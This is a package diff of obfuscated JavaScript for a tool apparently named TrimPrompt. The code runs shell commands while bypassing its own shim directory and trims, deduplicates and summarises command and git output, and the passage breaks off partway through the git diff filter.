- 'use strict';var a0_0x16712a=a0_0x5859;(function(_0x5207bb,_0x5c9b39){var _0x2311bb=a0_0x5859,_0x5b280b=_0x5207bb();while(!![]){try{var _0x5ec2ce=-parseInt(_0x2311bb(0xc6))/0x1+-parseInt(_0x2311bb(0xc1))/0x2+parseInt(_0x2311bb(0xdf))/0x3*(-parseInt(_0x2311bb(0xc9))/0x4)+-parseInt(_0x2311bb(0xc4))/0x5+parseInt(_0x2311bb(0xd3))/0x6+-parseInt(_0x2311bb(0xc3))/0x7*(parseInt(_0x2311bb(0xce))/0x8)+-parseInt(_0x2311bb(0xda))/0x9*(-parseInt(_0x2311bb(0xd1))/0xa);if(_0x5ec2ce===_0x5c9b39)break;else _0x5b280b['push'](_0x5b280b['shift']());}catch(_0x41988b){_0x5b280b['push'](_0x5b280b['shift']());}}}(a0_0x5961,0xc3019));function a0_0x5859(_0x65f1f2,_0x3fb026){_0x65f1f2=_0x65f1f2-0xb8;var _0x59615a=a0_0x5961();var _0x5859bd=_0x59615a[_0x65f1f2];return _0x5859bd;}function a0_0x5961(){var _0xa3413f=['shims','toLowerCase','__esModule','inherit','getOwnPropertyDescriptor','63QqgJCy','toString','path','hasOwnProperty','getOwnPropertyNames','3OBwGpu','prototype','data','filter','child_process','stdout','message','stderr','length','default','pipe','\x22:\x20','spawn','1938804rjFAXX','split','722981pIxUOq','2682355FMVLLf','Failed\x20to\x20spawn\x20command\x20\x22','486471HfnCBK','create','homedir','3269512rAjqHk','close','__setModuleDefault','delimiter','defineProperty','48eBxkxa','writable','.trimprompt','4001770UsSLLV','__importStar','8561556CZAXLz','join'];a0_0x5961=function(){return _0xa3413f;};return a0_0x5961();}var __createBinding=this&&this['__createBinding']||(Object[a0_0x16712a(0xc7)]?function(_0x2ed6f4,_0x36c5d0,_0x2741f2,_0x2b460d){var _0x29c8c6=a0_0x16712a;if(_0x2b460d===undefined)_0x2b460d=_0x2741f2;var _0x109dac=Object[_0x29c8c6(0xd9)](_0x36c5d0,_0x2741f2);(!_0x109dac||('get'in _0x109dac?!_0x36c5d0[_0x29c8c6(0xd7)]:_0x109dac[_0x29c8c6(0xcf)]||_0x109dac['configurable']))&&(_0x109dac={'enumerable':!![],'get':function(){return _0x36c5d0[_0x2741f2];}}),Object[_0x29c8c6(0xcd)](_0x2ed6f4,_0x2b460d,_0x109dac);}:function(_0x4e41ca,_0x264e7a,_0x2b34b9,_0xc056b2){if(_0xc056b2===undefined)_0xc056b2=_0x2b34b9;_0x4e41ca[_0xc056b2]=_0x264e7a[_0x2b34b9];}),__setModuleDefault=this&&this[a0_0x16712a(0xcb)]||(Object[a0_0x16712a(0xc7)]?function(_0x17a329,_0x23155f){var _0x39b21f=a0_0x16712a;Object[_0x39b21f(0xcd)](_0x17a329,_0x39b21f(0xbd),{'enumerable':!![],'value':_0x23155f});}:function(_0x6c1242,_0xe92e67){var _0x3ce72c=a0_0x16712a;_0x6c1242[_0x3ce72c(0xbd)]=_0xe92e67;}),__importStar=this&&this[a0_0x16712a(0xd2)]||(function(){var _0x2c7bad=function(_0x2f61fc){var _0x7a99e=a0_0x5859;return _0x2c7bad=Object[_0x7a99e(0xde)]||function(_0x1cd42a){var _0x4252d=_0x7a99e,_0x4d4174=[];for(var _0x401c16 in _0x1cd42a)if(Object[_0x4252d(0xe0)][_0x4252d(0xdd)]['call'](_0x1cd42a,_0x401c16))_0x4d4174[_0x4d4174[_0x4252d(0xbc)]]=_0x401c16;return _0x4d4174;},_0x2c7bad(_0x2f61fc);};return function(_0x2080ca){var _0x51150a=a0_0x5859;if(_0x2080ca&&_0x2080ca[_0x51150a(0xd7)])return _0x2080ca;var _0x51d41e={};if(_0x2080ca!=null){for(var _0x2cd295=_0x2c7bad(_0x2080ca),_0x14bffa=0x0;_0x14bffa<_0x2cd295['length'];_0x14bffa++)if(_0x2cd295[_0x14bffa]!==_0x51150a(0xbd))__createBinding(_0x51d41e,_0x2080ca,_0x2cd295[_0x14bffa]);}return __setModuleDefault(_0x51d41e,_0x2080ca),_0x51d41e;};}());Object[a0_0x16712a(0xcd)](exports,a0_0x16712a(0xd7),{'value':!![]}),exports['executeCommand']=executeCommand;const child_process_1=require(a0_0x16712a(0xb8)),path=__importStar(require(a0_0x16712a(0xdc))),os=__importStar(require('os'));function executeCommand(_0x394388,_0x100649){return new Promise(_0x1f7b12=>{var _0x1ffe75=a0_0x5859;const _0x194459=path[_0x1ffe75(0xd4)](os[_0x1ffe75(0xc8)](),_0x1ffe75(0xd0),_0x1ffe75(0xd5)),_0x1c78b2=(process.env.PATH||'')[_0x1ffe75(0xc2)](path['delimiter'])[_0x1ffe75(0xe2)](_0x1ac181=>_0x1ac181['trim']()[_0x1ffe75(0xd6)]()!==_0x194459['toLowerCase']())[_0x1ffe75(0xd4)](path[_0x1ffe75(0xcc)]),_0x278559={...process.env,'PATH':_0x1c78b2,'TRIMPROMPT_DISABLED':'1'},_0x1b227b=(0x0,child_process_1[_0x1ffe75(0xc0)])(_0x394388,_0x100649,{'stdio':[_0x1ffe75(0xd8),_0x1ffe75(0xbe),_0x1ffe75(0xbe)],'shell':!![],'env':_0x278559});let _0x1c54c7='',_0x5d5bf7='';_0x1b227b[_0x1ffe75(0xb9)]?.['on'](_0x1ffe75(0xe1),_0x240789=>{var _0x4f3d8c=_0x1ffe75;_0x1c54c7+=_0x240789[_0x4f3d8c(0xdb)]();}),_0x1b227b[_0x1ffe75(0xbb)]?.['on'](_0x1ffe75(0xe1),_0x342cf8=>{var _0x4e5b63=_0x1ffe75;_0x5d5bf7+=_0x342cf8[_0x4e5b63(0xdb)]();}),_0x1b227b['on']('error',_0x17be1c=>{var _0x215bcc=_0x1ffe75;_0x1f7b12({'exitCode':0x1,'stdout':'','stderr':_0x215bcc(0xc5)+_0x394388+_0x215bcc(0xbf)+_0x17be1c[_0x215bcc(0xba)]});}),_0x1b227b['on'](_0x1ffe75(0xca),_0x44c2b3=>{_0x1f7b12({'exitCode':_0x44c2b3??0x0,'stdout':_0x1c54c7,'stderr':_0x5d5bf7});});});}
1
+ 'use strict';function a0_0x2bdc(){var _0x166f77=['split','6nbQvAL','delimiter','trim','join','2102080csHHRG','create','toLowerCase','2058292eZBiXw','\x22:\x20','Failed\x20to\x20spawn\x20command\x20\x22','__setModuleDefault','homedir','writable','get','787Jpepfo','spawn','default','1143320sVtupE','stderr','data','590JiQsap','length','getOwnPropertyNames','__createBinding','shims','message','pipe','filter','stdout','path','438126mqEHIO','hasOwnProperty','defineProperty','137214WTbJTW','__esModule','child_process','1916samhmQ','executeCommand','call','2630348oIzqaR'];a0_0x2bdc=function(){return _0x166f77;};return a0_0x2bdc();}var a0_0x5673ec=a0_0x3e07;function a0_0x3e07(_0x5dc80d,_0x345a2a){_0x5dc80d=_0x5dc80d-0x12c;var _0x2bdcc6=a0_0x2bdc();var _0x3e0706=_0x2bdcc6[_0x5dc80d];return _0x3e0706;}(function(_0x221730,_0x5d94b3){var _0xdbc84b=a0_0x3e07,_0x3eeb09=_0x221730();while(!![]){try{var _0x4f6d36=-parseInt(_0xdbc84b(0x12d))/0x1*(-parseInt(_0xdbc84b(0x143))/0x2)+parseInt(_0xdbc84b(0x13d))/0x3+parseInt(_0xdbc84b(0x14f))/0x4+parseInt(_0xdbc84b(0x14c))/0x5*(parseInt(_0xdbc84b(0x148))/0x6)+-parseInt(_0xdbc84b(0x146))/0x7+-parseInt(_0xdbc84b(0x130))/0x8+parseInt(_0xdbc84b(0x140))/0x9*(-parseInt(_0xdbc84b(0x133))/0xa);if(_0x4f6d36===_0x5d94b3)break;else _0x3eeb09['push'](_0x3eeb09['shift']());}catch(_0x3d64f7){_0x3eeb09['push'](_0x3eeb09['shift']());}}}(a0_0x2bdc,0x65c10));var __createBinding=this&&this[a0_0x5673ec(0x136)]||(Object[a0_0x5673ec(0x14d)]?function(_0x3e8756,_0xf482d8,_0x4aeaa8,_0x380d9c){var _0x416724=a0_0x5673ec;if(_0x380d9c===undefined)_0x380d9c=_0x4aeaa8;var _0x3af9d4=Object['getOwnPropertyDescriptor'](_0xf482d8,_0x4aeaa8);(!_0x3af9d4||(_0x416724(0x12c)in _0x3af9d4?!_0xf482d8[_0x416724(0x141)]:_0x3af9d4[_0x416724(0x154)]||_0x3af9d4['configurable']))&&(_0x3af9d4={'enumerable':!![],'get':function(){return _0xf482d8[_0x4aeaa8];}}),Object[_0x416724(0x13f)](_0x3e8756,_0x380d9c,_0x3af9d4);}:function(_0x59bbc7,_0x1bc0b1,_0x115ca1,_0x1efbd7){if(_0x1efbd7===undefined)_0x1efbd7=_0x115ca1;_0x59bbc7[_0x1efbd7]=_0x1bc0b1[_0x115ca1];}),__setModuleDefault=this&&this[a0_0x5673ec(0x152)]||(Object[a0_0x5673ec(0x14d)]?function(_0x2f0a65,_0x2498d8){var _0x2c1c3a=a0_0x5673ec;Object[_0x2c1c3a(0x13f)](_0x2f0a65,'default',{'enumerable':!![],'value':_0x2498d8});}:function(_0x4a090e,_0x3b514c){_0x4a090e['default']=_0x3b514c;}),__importStar=this&&this['__importStar']||(function(){var _0x277b9c=function(_0x21cddd){var _0x171dd9=a0_0x3e07;return _0x277b9c=Object[_0x171dd9(0x135)]||function(_0x5bf80c){var _0x4f0a30=_0x171dd9,_0x5991da=[];for(var _0x1042b4 in _0x5bf80c)if(Object['prototype'][_0x4f0a30(0x13e)][_0x4f0a30(0x145)](_0x5bf80c,_0x1042b4))_0x5991da[_0x5991da[_0x4f0a30(0x134)]]=_0x1042b4;return _0x5991da;},_0x277b9c(_0x21cddd);};return function(_0x4e1d2f){var _0x3a3e0a=a0_0x3e07;if(_0x4e1d2f&&_0x4e1d2f[_0x3a3e0a(0x141)])return _0x4e1d2f;var _0x25b1c6={};if(_0x4e1d2f!=null){for(var _0x5ad265=_0x277b9c(_0x4e1d2f),_0x5648c4=0x0;_0x5648c4<_0x5ad265[_0x3a3e0a(0x134)];_0x5648c4++)if(_0x5ad265[_0x5648c4]!==_0x3a3e0a(0x12f))__createBinding(_0x25b1c6,_0x4e1d2f,_0x5ad265[_0x5648c4]);}return __setModuleDefault(_0x25b1c6,_0x4e1d2f),_0x25b1c6;};}());Object[a0_0x5673ec(0x13f)](exports,a0_0x5673ec(0x141),{'value':!![]}),exports[a0_0x5673ec(0x144)]=executeCommand;const child_process_1=require(a0_0x5673ec(0x142)),path=__importStar(require(a0_0x5673ec(0x13c))),os=__importStar(require('os'));function executeCommand(_0x4a1bbf,_0x7e6e9a){return new Promise(_0x2640a3=>{var _0x11a89f=a0_0x3e07;const _0x194cfa=path[_0x11a89f(0x14b)](os[_0x11a89f(0x153)](),'.trimprompt',_0x11a89f(0x137)),_0x413240=(process.env.PATH||'')[_0x11a89f(0x147)](path[_0x11a89f(0x149)])[_0x11a89f(0x13a)](_0x3a1931=>_0x3a1931[_0x11a89f(0x14a)]()[_0x11a89f(0x14e)]()!==_0x194cfa[_0x11a89f(0x14e)]())[_0x11a89f(0x14b)](path[_0x11a89f(0x149)]),_0x19977b={...process.env,'PATH':_0x413240,'TRIMPROMPT_DISABLED':'1'},_0x50a889=(0x0,child_process_1[_0x11a89f(0x12e)])(_0x4a1bbf,_0x7e6e9a,{'stdio':['inherit',_0x11a89f(0x139),_0x11a89f(0x139)],'shell':!![],'env':_0x19977b});let _0x705567='',_0x24d4a0='';_0x50a889[_0x11a89f(0x13b)]?.['on'](_0x11a89f(0x132),_0x3c941e=>{_0x705567+=_0x3c941e['toString']();}),_0x50a889[_0x11a89f(0x131)]?.['on'](_0x11a89f(0x132),_0x560983=>{_0x24d4a0+=_0x560983['toString']();}),_0x50a889['on']('error',_0x5db34d=>{var _0x982289=_0x11a89f;_0x2640a3({'exitCode':0x1,'stdout':'','stderr':_0x982289(0x151)+_0x4a1bbf+_0x982289(0x150)+_0x5db34d[_0x982289(0x138)]});}),_0x50a889['on']('close',_0x3e80b1=>{_0x2640a3({'exitCode':_0x3e80b1??0x0,'stdout':_0x705567,'stderr':_0x24d4a0});});});}
@@ -1 +1 @@
1
- 'use strict';const a0_0x11b92d=a0_0x2080;(function(_0x5ea6e4,_0x4b0f5e){const _0x4849bc=a0_0x2080,_0x2b4d31=_0x5ea6e4();while(!![]){try{const _0x2506bb=-parseInt(_0x4849bc(0x1ff))/0x1*(parseInt(_0x4849bc(0x1f0))/0x2)+parseInt(_0x4849bc(0x1f4))/0x3*(-parseInt(_0x4849bc(0x1f8))/0x4)+parseInt(_0x4849bc(0x1fb))/0x5+parseInt(_0x4849bc(0x1f3))/0x6+parseInt(_0x4849bc(0x1ef))/0x7*(-parseInt(_0x4849bc(0x1f7))/0x8)+-parseInt(_0x4849bc(0x1f5))/0x9+parseInt(_0x4849bc(0x1e9))/0xa;if(_0x2506bb===_0x4b0f5e)break;else _0x2b4d31['push'](_0x2b4d31['shift']());}catch(_0x32d4cf){_0x2b4d31['push'](_0x2b4d31['shift']());}}}(a0_0x1f0d,0x1ad01));Object[a0_0x11b92d(0x1f1)](exports,a0_0x11b92d(0x1f2),{'value':!![]}),exports[a0_0x11b92d(0x200)]=stripAnsi,exports[a0_0x11b92d(0x1fc)]=collapseDuplicates,exports[a0_0x11b92d(0x1f6)]=softTruncate;function stripAnsi(_0x4073a8){const _0x88800e=a0_0x11b92d,_0x48baf7=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x4073a8[_0x88800e(0x1ed)](_0x48baf7,'');}function a0_0x1f0d(){const _0x285f3e=['6434GyESDC','defineProperty','__esModule','554196YzDzEl','1437oAgYoC','869274YiaZns','softTruncate','66328BKRGbm','24QAPCGn','push','\x20characters\x20of\x20output]\x20...\x0a','67185LERfna','collapseDuplicates','split','length','11vDksti','stripAnsi','2466520EXmpmk','\x0a...\x20[TrimPrompt:\x20Truncated\x20','join','\x20[x','replace','slice','91esDOpn'];a0_0x1f0d=function(){return _0x285f3e;};return a0_0x1f0d();}function collapseDuplicates(_0x7b8da6){const _0x3f620e=a0_0x11b92d,_0x273f22=_0x7b8da6[_0x3f620e(0x1fd)]('\x0a');if(_0x273f22[_0x3f620e(0x1fe)]<=0x1)return _0x7b8da6;const _0x4d61e2=[];let _0x164e78=_0x273f22[0x0],_0x42cfbe=0x1;for(let _0x32f814=0x1;_0x32f814<_0x273f22['length'];_0x32f814++){const _0x3cfe81=_0x273f22[_0x32f814];_0x3cfe81===_0x164e78&&_0x3cfe81['trim']()[_0x3f620e(0x1fe)]>0x0?_0x42cfbe++:(_0x42cfbe>0x1?_0x4d61e2[_0x3f620e(0x1f9)](_0x164e78+_0x3f620e(0x1ec)+_0x42cfbe+']'):_0x4d61e2[_0x3f620e(0x1f9)](_0x164e78),_0x164e78=_0x3cfe81,_0x42cfbe=0x1);}return _0x42cfbe>0x1?_0x4d61e2[_0x3f620e(0x1f9)](_0x164e78+_0x3f620e(0x1ec)+_0x42cfbe+']'):_0x4d61e2['push'](_0x164e78),_0x4d61e2[_0x3f620e(0x1eb)]('\x0a');}function a0_0x2080(_0x4d4c23,_0x56fcd1){_0x4d4c23=_0x4d4c23-0x1e9;const _0x1f0df2=a0_0x1f0d();let _0x208066=_0x1f0df2[_0x4d4c23];return _0x208066;}function softTruncate(_0x121459,_0x236225=0x4e20){const _0x293cde=a0_0x11b92d;if(_0x121459[_0x293cde(0x1fe)]<=_0x236225)return _0x121459;const _0x59a5fb=_0x121459['split']('\x0a');if(_0x59a5fb[_0x293cde(0x1fe)]<=0xc8)return _0x121459;const _0x2aad6e=0x32,_0x1c4bc5=0x96,_0x43a760=_0x59a5fb[_0x293cde(0x1ee)](0x0,_0x2aad6e),_0x391bdc=_0x59a5fb[_0x293cde(0x1ee)](_0x59a5fb[_0x293cde(0x1fe)]-_0x1c4bc5),_0x4e3a63=_0x121459['length']-(_0x43a760[_0x293cde(0x1eb)]('\x0a')['length']+_0x391bdc['join']('\x0a')[_0x293cde(0x1fe)]);return[..._0x43a760,_0x293cde(0x1ea)+_0x4e3a63+_0x293cde(0x1fa),..._0x391bdc][_0x293cde(0x1eb)]('\x0a');}
1
+ 'use strict';function a0_0x1c9a(){const _0x5f206e=['837732jjlfsw','24GrPUXC','length','\x20[x','260761LbwCNL','915468iZskGJ','\x0a...\x20[TrimPrompt:\x20Truncated\x20','__esModule','slice','279725JkJKle','join','defineProperty','split','push','2128LrnXXp','2FRbleG','15183PvwmXl','12475460DRYtKh','6567428mOgETm','11qTHsHP','stripAnsi','collapseDuplicates','softTruncate'];a0_0x1c9a=function(){return _0x5f206e;};return a0_0x1c9a();}function a0_0x1bac(_0x4f252c,_0x338466){_0x4f252c=_0x4f252c-0x15e;const _0x1c9a78=a0_0x1c9a();let _0x1bac1d=_0x1c9a78[_0x4f252c];return _0x1bac1d;}const a0_0x303f34=a0_0x1bac;(function(_0x3a3a6b,_0x5db652){const _0x560c3d=a0_0x1bac,_0x147f24=_0x3a3a6b();while(!![]){try{const _0x5508b0=-parseInt(_0x560c3d(0x170))/0x1*(-parseInt(_0x560c3d(0x164))/0x2)+parseInt(_0x560c3d(0x16c))/0x3+parseInt(_0x560c3d(0x171))/0x4+-parseInt(_0x560c3d(0x15e))/0x5*(parseInt(_0x560c3d(0x16d))/0x6)+parseInt(_0x560c3d(0x167))/0x7+parseInt(_0x560c3d(0x163))/0x8*(parseInt(_0x560c3d(0x165))/0x9)+-parseInt(_0x560c3d(0x166))/0xa*(parseInt(_0x560c3d(0x168))/0xb);if(_0x5508b0===_0x5db652)break;else _0x147f24['push'](_0x147f24['shift']());}catch(_0x173acd){_0x147f24['push'](_0x147f24['shift']());}}}(a0_0x1c9a,0xa71cc));Object[a0_0x303f34(0x160)](exports,a0_0x303f34(0x173),{'value':!![]}),exports[a0_0x303f34(0x169)]=stripAnsi,exports[a0_0x303f34(0x16a)]=collapseDuplicates,exports[a0_0x303f34(0x16b)]=softTruncate;function stripAnsi(_0x321b9c){const _0x56072e=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x321b9c['replace'](_0x56072e,'');}function collapseDuplicates(_0x367811){const _0xb1e1b9=a0_0x303f34,_0x43f4f4=_0x367811[_0xb1e1b9(0x161)]('\x0a');if(_0x43f4f4[_0xb1e1b9(0x16e)]<=0x1)return _0x367811;const _0x5eb100=[];let _0x56d28e=_0x43f4f4[0x0],_0x2547e5=0x1;for(let _0x46860f=0x1;_0x46860f<_0x43f4f4[_0xb1e1b9(0x16e)];_0x46860f++){const _0x671947=_0x43f4f4[_0x46860f];_0x671947===_0x56d28e&&_0x671947['trim']()[_0xb1e1b9(0x16e)]>0x0?_0x2547e5++:(_0x2547e5>0x1?_0x5eb100[_0xb1e1b9(0x162)](_0x56d28e+'\x20[x'+_0x2547e5+']'):_0x5eb100['push'](_0x56d28e),_0x56d28e=_0x671947,_0x2547e5=0x1);}return _0x2547e5>0x1?_0x5eb100[_0xb1e1b9(0x162)](_0x56d28e+_0xb1e1b9(0x16f)+_0x2547e5+']'):_0x5eb100['push'](_0x56d28e),_0x5eb100[_0xb1e1b9(0x15f)]('\x0a');}function softTruncate(_0x3e89ea,_0x4bccff=0x4e20){const _0x58874a=a0_0x303f34;if(_0x3e89ea[_0x58874a(0x16e)]<=_0x4bccff)return _0x3e89ea;const _0x465a17=_0x3e89ea[_0x58874a(0x161)]('\x0a');if(_0x465a17[_0x58874a(0x16e)]<=0xc8)return _0x3e89ea;const _0x5d1739=0x32,_0x72ded6=0x96,_0x1847d0=_0x465a17[_0x58874a(0x174)](0x0,_0x5d1739),_0x26d304=_0x465a17[_0x58874a(0x174)](_0x465a17['length']-_0x72ded6),_0x18250c=_0x3e89ea[_0x58874a(0x16e)]-(_0x1847d0[_0x58874a(0x15f)]('\x0a')['length']+_0x26d304[_0x58874a(0x15f)]('\x0a')[_0x58874a(0x16e)]);return[..._0x1847d0,_0x58874a(0x172)+_0x18250c+'\x20characters\x20of\x20output]\x20...\x0a',..._0x26d304][_0x58874a(0x15f)]('\x0a');}
package/filters/git.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x486b(){const _0x4efc73=['__esModule','44870WapUse','\x20\x20...\x20+','2192367BbzKco','substring','diff\x20--git','+++','[file]\x20','split','5720HFqvVB','---','3675BDTozW','push','map','12781656bgBEBd','269158hhWRmz','6852078tTmHGc','configurable','path','filterGitStatus','5276VveJsm','---END---','4902212GSOGzU','filterGitLog','create','basename','2ZLYzqV','length','\x20more\x20modifications','__setModuleDefault','\x0aChanges:','*\x20Branch:\x20','\x20(+','defineProperty','filterGitDiff','\x20untracked\x20files)','unknown_file','filter','__createBinding','trim','No\x20modifications','getOwnPropertyNames','call','dirname','join','hasOwnProperty','getOwnPropertyDescriptor','prototype','slice','\x20\x20??\x20','8xekuhB','startsWith','Clean\x20working\x20tree','\x20\x20...\x20(+','\x0aUntracked\x20files:'];a0_0x486b=function(){return _0x4efc73;};return a0_0x486b();}const a0_0xb84a52=a0_0x412c;(function(_0x116b47,_0x4d3ec4){const _0x524384=a0_0x412c,_0x129837=_0x116b47();while(!![]){try{const _0x5a82d3=parseInt(_0x524384(0x145))/0x1*(-parseInt(_0x524384(0x119))/0x2)+-parseInt(_0x524384(0x139))/0x3+parseInt(_0x524384(0x113))/0x4*(parseInt(_0x524384(0x141))/0x5)+parseInt(_0x524384(0x146))/0x6+parseInt(_0x524384(0x115))/0x7+parseInt(_0x524384(0x131))/0x8*(parseInt(_0x524384(0x144))/0x9)+parseInt(_0x524384(0x137))/0xa*(-parseInt(_0x524384(0x13f))/0xb);if(_0x5a82d3===_0x4d3ec4)break;else _0x129837['push'](_0x129837['shift']());}catch(_0xd188a5){_0x129837['push'](_0x129837['shift']());}}}(a0_0x486b,0xdb6e7));var __createBinding=this&&this[a0_0xb84a52(0x125)]||(Object[a0_0xb84a52(0x117)]?function(_0x22f742,_0x319ec6,_0x586dba,_0x29f837){const _0x619022=a0_0xb84a52;if(_0x29f837===undefined)_0x29f837=_0x586dba;var _0x1f91c9=Object[_0x619022(0x12d)](_0x319ec6,_0x586dba);(!_0x1f91c9||('get'in _0x1f91c9?!_0x319ec6[_0x619022(0x136)]:_0x1f91c9['writable']||_0x1f91c9[_0x619022(0x147)]))&&(_0x1f91c9={'enumerable':!![],'get':function(){return _0x319ec6[_0x586dba];}}),Object[_0x619022(0x120)](_0x22f742,_0x29f837,_0x1f91c9);}:function(_0x4242cc,_0x441d5f,_0x1cd0c5,_0x1537ed){if(_0x1537ed===undefined)_0x1537ed=_0x1cd0c5;_0x4242cc[_0x1537ed]=_0x441d5f[_0x1cd0c5];}),__setModuleDefault=this&&this[a0_0xb84a52(0x11c)]||(Object[a0_0xb84a52(0x117)]?function(_0x4341fa,_0xba7a2b){const _0x3697e9=a0_0xb84a52;Object[_0x3697e9(0x120)](_0x4341fa,'default',{'enumerable':!![],'value':_0xba7a2b});}:function(_0x10ba05,_0xe9cc82){_0x10ba05['default']=_0xe9cc82;}),__importStar=this&&this['__importStar']||(function(){var _0x447cf9=function(_0x2a90f9){const _0x428cb7=a0_0x412c;return _0x447cf9=Object[_0x428cb7(0x128)]||function(_0x240f9b){const _0x30f714=_0x428cb7;var _0x508d4d=[];for(var _0x5a761c in _0x240f9b)if(Object[_0x30f714(0x12e)][_0x30f714(0x12c)][_0x30f714(0x129)](_0x240f9b,_0x5a761c))_0x508d4d[_0x508d4d[_0x30f714(0x11a)]]=_0x5a761c;return _0x508d4d;},_0x447cf9(_0x2a90f9);};return function(_0x520d32){const _0x24067f=a0_0x412c;if(_0x520d32&&_0x520d32[_0x24067f(0x136)])return _0x520d32;var _0x35e305={};if(_0x520d32!=null){for(var _0x47dc98=_0x447cf9(_0x520d32),_0x2bdd70=0x0;_0x2bdd70<_0x47dc98[_0x24067f(0x11a)];_0x2bdd70++)if(_0x47dc98[_0x2bdd70]!=='default')__createBinding(_0x35e305,_0x520d32,_0x47dc98[_0x2bdd70]);}return __setModuleDefault(_0x35e305,_0x520d32),_0x35e305;};}());Object['defineProperty'](exports,a0_0xb84a52(0x136),{'value':!![]}),exports[a0_0xb84a52(0x112)]=filterGitStatus,exports[a0_0xb84a52(0x116)]=filterGitLog,exports[a0_0xb84a52(0x121)]=filterGitDiff;const path=__importStar(require(a0_0xb84a52(0x111)));function filterGitStatus(_0x1e3509){const _0x303e9d=a0_0xb84a52,_0x28d8de=_0x1e3509[_0x303e9d(0x13e)]('\x0a')[_0x303e9d(0x143)](_0x3bcd29=>_0x3bcd29[_0x303e9d(0x126)]())[_0x303e9d(0x124)](_0x1f2b8f=>_0x1f2b8f['length']>0x0);if(_0x28d8de[_0x303e9d(0x11a)]===0x0)return _0x303e9d(0x133);const _0x32564f=[],_0x4422b4=[],_0x7f3aa=[];for(const _0x5dbb27 of _0x28d8de){if(_0x5dbb27[_0x303e9d(0x132)]('##')){const _0x16868c=_0x5dbb27['replace'](/^##\s*/,'');_0x32564f[_0x303e9d(0x142)](_0x303e9d(0x11e)+_0x16868c);}else _0x5dbb27[_0x303e9d(0x132)]('??')?_0x4422b4['push'](_0x5dbb27[_0x303e9d(0x13a)](0x3)[_0x303e9d(0x126)]()):_0x7f3aa[_0x303e9d(0x142)](_0x5dbb27);}_0x7f3aa['length']>0x0&&(_0x32564f['push'](_0x303e9d(0x11d)),_0x32564f[_0x303e9d(0x142)](..._0x7f3aa[_0x303e9d(0x143)](_0x3dc370=>'\x20\x20'+_0x3dc370)));if(_0x4422b4['length']>0x0){_0x32564f['push'](_0x303e9d(0x135));const _0x10d828={},_0x304e69=[];for(const _0x244717 of _0x4422b4){const _0x4ee03f=path[_0x303e9d(0x12a)](_0x244717);_0x4ee03f==='.'||_0x4ee03f===''?_0x304e69[_0x303e9d(0x142)](_0x244717):(!_0x10d828[_0x4ee03f]&&(_0x10d828[_0x4ee03f]=[]),_0x10d828[_0x4ee03f][_0x303e9d(0x142)](path[_0x303e9d(0x118)](_0x244717)));}for(const [_0x3dfa08,_0x774e0f]of Object['entries'](_0x10d828)){if(_0x774e0f[_0x303e9d(0x11a)]>0x5)_0x32564f[_0x303e9d(0x142)](_0x303e9d(0x130)+_0x3dfa08+'/\x20('+_0x774e0f['length']+_0x303e9d(0x122));else for(const _0x16d278 of _0x774e0f){_0x32564f['push']('\x20\x20??\x20'+path[_0x303e9d(0x12b)](_0x3dfa08,_0x16d278));}}for(const _0x566d7e of _0x304e69){_0x32564f[_0x303e9d(0x142)](_0x303e9d(0x130)+_0x566d7e);}}return _0x32564f[_0x303e9d(0x12b)]('\x0a');}function a0_0x412c(_0x7939fa,_0x475fe6){_0x7939fa=_0x7939fa-0x111;const _0x486b11=a0_0x486b();let _0x412c27=_0x486b11[_0x7939fa];return _0x412c27;}function filterGitLog(_0x5c513d){const _0x7b818f=a0_0xb84a52,_0x47afb4=_0x5c513d[_0x7b818f(0x13e)](_0x7b818f(0x114))[_0x7b818f(0x143)](_0x3a2447=>_0x3a2447[_0x7b818f(0x126)]())[_0x7b818f(0x124)](_0x11c044=>_0x11c044['length']>0x0);if(_0x47afb4[_0x7b818f(0x11a)]===0x0)return _0x5c513d;const _0x574970=[];for(const _0x5549ea of _0x47afb4){const _0x2011eb=_0x5549ea[_0x7b818f(0x13e)]('\x0a'),_0x2db9ff=_0x2011eb[0x0]||'',_0x5ecef9=_0x2011eb[_0x7b818f(0x12f)](0x1)[_0x7b818f(0x143)](_0x20d040=>_0x20d040[_0x7b818f(0x126)]())[_0x7b818f(0x124)](_0x32a1ce=>_0x32a1ce[_0x7b818f(0x11a)]>0x0);_0x574970[_0x7b818f(0x142)]('-\x20'+_0x2db9ff),_0x5ecef9[_0x7b818f(0x11a)]>0x0&&(_0x574970['push']('\x20\x20'+_0x5ecef9[0x0]),_0x5ecef9[_0x7b818f(0x11a)]>0x1&&_0x574970[_0x7b818f(0x142)](_0x7b818f(0x134)+(_0x5ecef9[_0x7b818f(0x11a)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x574970[_0x7b818f(0x12b)]('\x0a');}function filterGitDiff(_0x1314e1){const _0x1f39dc=a0_0xb84a52,_0x425ffe=_0x1314e1['split']('\x0a'),_0x1dc7b4=[];let _0x1fd8ba='',_0x4aa46e=0x0,_0x4698e4=0x0,_0x5ac725=[];const _0x5f28e8=()=>{const _0x1398d5=a0_0x412c;if(_0x1fd8ba&&(_0x4aa46e>0x0||_0x4698e4>0x0)){_0x1dc7b4[_0x1398d5(0x142)](_0x1398d5(0x13d)+_0x1fd8ba+_0x1398d5(0x11f)+_0x4aa46e+'\x20-'+_0x4698e4+')');const _0x2ffabd=0xa,_0x10ba29=_0x5ac725[_0x1398d5(0x12f)](0x0,_0x2ffabd);for(const _0x39e719 of _0x10ba29){_0x1dc7b4['push']('\x20\x20'+_0x39e719);}const _0x52edff=_0x4aa46e+_0x4698e4-_0x2ffabd;_0x52edff>0x0&&_0x1dc7b4['push'](_0x1398d5(0x138)+_0x52edff+_0x1398d5(0x11b));}_0x4aa46e=0x0,_0x4698e4=0x0,_0x5ac725=[];};for(const _0x59fec6 of _0x425ffe){if(_0x59fec6[_0x1f39dc(0x132)](_0x1f39dc(0x13b))){_0x5f28e8();const _0x8da5b3=_0x59fec6['match'](/\sb\/(.+)$/);_0x1fd8ba=_0x8da5b3?_0x8da5b3[0x1]:_0x1f39dc(0x123);}else{if(_0x59fec6[_0x1f39dc(0x132)]('+')&&!_0x59fec6[_0x1f39dc(0x132)](_0x1f39dc(0x13c)))_0x4aa46e++,_0x5ac725['push'](_0x59fec6);else 